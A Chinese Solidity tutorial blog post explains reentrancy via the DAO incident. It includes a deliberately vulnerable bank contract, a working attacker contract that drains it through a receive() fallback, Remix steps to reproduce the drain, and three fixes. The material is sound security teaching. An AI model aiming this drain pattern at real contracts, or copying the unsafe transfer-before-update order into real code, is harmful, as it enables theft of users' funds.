Solidity 实战【三】:重入攻击与防御(从 0 到 1 看懂 DAO 事件)

前言

如果你只学一个 Solidity 安全问题

那一定是:重入攻击(Reentrancy)

因为它:

改变了以太坊历史(DAO 事件)

直接导致千万美元被盗

至今仍是合约审计的第一优先级

这一篇,我们不背概念、不贴图。

👉 直接写代码,把钱"偷"一遍

一、什么是重入攻击?一句话先立住概念

一句话版本:

在合约"还没更新状态"之前,被外部合约反复调用同一个函数

关键不是"攻击",而是这四个字:

👉 状态更新顺序错误

二、历史背景:DAO 事件到底发生了什么?

2016 年:

DAO 合约管理着 360 万 ETH

一个看似无害的提款函数

被反复调用

钱被一笔一笔掏空

结果:

以太坊被迫硬分叉

ETC 诞生

👉 不是密码学失败,而是工程失误

三、实战目标(先定攻击模型)

我们这次要做三件事:

1️⃣ 写一个 有漏洞的存钱/取钱合约

2️⃣ 写一个 攻击合约,把钱偷走

3️⃣ 用三种方式 彻底修复漏洞

你会清楚看到:

"钱是怎么没的"

四、第一步:写一个"看起来没问题"的合约(受害者)

4.1 有漏洞的合约:VulnerableBank.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

contract VulnerableBank {

复制代码
mapping(address => uint256) public balances;

// 存钱
function deposit() external payable {
    balances[msg.sender] += msg.value;
}

// 取钱(⚠️ 有漏洞)
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "no balance");

    // 先转账
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "transfer failed");

    // 再更新余额(致命)
    balances[msg.sender] = 0;
}

}

4.2 问题出在哪?

关键顺序是:

转账 → 再清余额

而 call 会:

把控制权交给外部合约

允许对方在 fallback 中再次调用 withdraw

👉 门还没关,人已经进来第二次了

五、第二步:写攻击合约(真正的"偷钱")

5.1 攻击合约:Attacker.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import "./VulnerableBank.sol";

contract Attacker {

复制代码
VulnerableBank public bank;
address public owner;

constructor(address _bank) {
    bank = VulnerableBank(_bank);
    owner = msg.sender;
}

// 发起攻击
function attack() external payable {
    require(msg.value > 0, "need ETH");

    bank.deposit{value: msg.value}();
    bank.withdraw();
}

// fallback:关键!
receive() external payable {
    if (address(bank).balance > 0) {
        bank.withdraw();
    }
}

function getBalance() external view returns (uint256) {
    return address(this).balance;
}

}

5.2 攻击流程(一步不跳)

1️⃣ 攻击者存 1 ETH

2️⃣ 调用 withdraw

3️⃣ Bank 转账 → 触发 receive

4️⃣ receive 再次调用 withdraw

5️⃣ Bank 还没清余额 → 再转

6️⃣ 循环直到 Bank 被掏空

👉 一次交易,多次取钱

六、在 Remix 中复现攻击(新手必做)

操作步骤:

1️⃣ 部署 VulnerableBank

2️⃣ 存入 5 ETH(用普通账号)

3️⃣ 部署 Attacker(传入 Bank 地址)

4️⃣ 调用 attack(),转 1 ETH

5️⃣ 查看:

Bank balance → 0

Attacker balance → > 1 ETH

👉 你刚刚亲手复现了 DAO 攻击原理

七、防御方式一:Checks-Effects-Interactions(最重要)

原则一句话:

先改状态,再和外部交互

修复后的 withdraw

function withdraw() external {

uint256 amount = balances[msg.sender];

require(amount > 0, "no balance");

复制代码
// 先更新状态
balances[msg.sender] = 0;

// 再转账
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");

}

👉 90% 的重入问题,到这里就结束了

八、防御方式二:重入锁(Reentrancy Guard)

8.1 最简单的锁

bool private locked;

modifier nonReentrant() {

require(!locked, "reentrant call");

locked = true;

_;

locked = false;

}

8.2 使用锁

function withdraw() external nonReentrant {

uint256 amount = balances[msg.sender];

require(amount > 0, "no balance");

复制代码
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");

}

👉 OpenZeppelin 的 ReentrancyGuard 就是这个思路

九、防御方式三:限制可调用者(业务级)

例如:

不给合约地址提款

使用白名单

使用 Pull Payment 模式

示例(简单版):

require(msg.sender == tx.origin, "no contract");

⚠️ 注意:

这是业务约束

不是通用安全方案

不能单独依赖

十、你已经真正理解的 5 个安全本质

通过这一篇,你已经掌握:

1️⃣ call 会交出控制权

2️⃣ 状态更新顺序决定生死

3️⃣ 攻击不需要"黑科技"

4️⃣ 一行代码顺序 = 几千万美金

5️⃣ 安全是工程问题,不是语法问题

十一、工程师最容易犯的 3 个错误

❌ 以为 "我这个合约没人会攻击"

❌ 以为 "call + require 就安全了"

❌ 以为 "学完语法就能写合约"

👉 攻击者只需要一次机会

总结

如果说:

实战【一】让你 会写合约

实战【二】让你 敢管钱

那实战【三】就是:

让你知道,钱是怎么没的

从这一刻起,你已经正式跨过:

👉 Solidity 新手 → Solidity 工程师

下一篇预告(直接拉开差距)

👉 Solidity 实战【四】:手写一个可升级合约(Proxy 模式)

你会学到:

为什么合约要升级

delegatecall 是什么

UUPS / Transparent Proxy 原理

这是 真正进入生产级合约的门槛。

相关推荐
TOPGUS1 小时前
谷歌SEO第三季度点击率趋势:榜首统治力的衰退与流量的去中心化趋势
大数据·人工智能·搜索引擎·去中心化·区块链·seo·数字营销
mtngt111 小时前
AI DDD重构实践
go
中金快讯2 小时前
区块链宕机致爆仓提现延迟成常态,Matrixdock交易平台能扛住重压吗?
区块链
devmoon3 小时前
Polkadot SDK 平行链模板搭建全流程指南
web3·区块链·sdk·比特币·波卡
Max_uuc9 小时前
【C++ 硬核】利用链接器魔法 (Linker Sections) 实现“去中心化”的自动初始化与插件系统
去中心化·区块链
devmoon9 小时前
在 Polkadot 上部署独立区块链Paseo 测试网实战部署指南
开发语言·安全·区块链·polkadot·erc-20·测试网·独立链
傻小胖9 小时前
22.ETH-智能合约-北大肖臻老师客堂笔记
笔记·区块链·智能合约
傻小胖1 天前
21.ETH-权益证明-北大肖臻老师客堂笔记
笔记·区块链
硅基流动1 天前
硅基流动 × ValueCell:8K+Star,去中心化金融智能体加速投资决策
金融·去中心化·区块链
devmoon1 天前
使用 Hardhat 在 Polkadot Hub 测试网部署基础 Solidity 合约(完整实战指南)
web3·区块链·智能合约·波卡·hardhat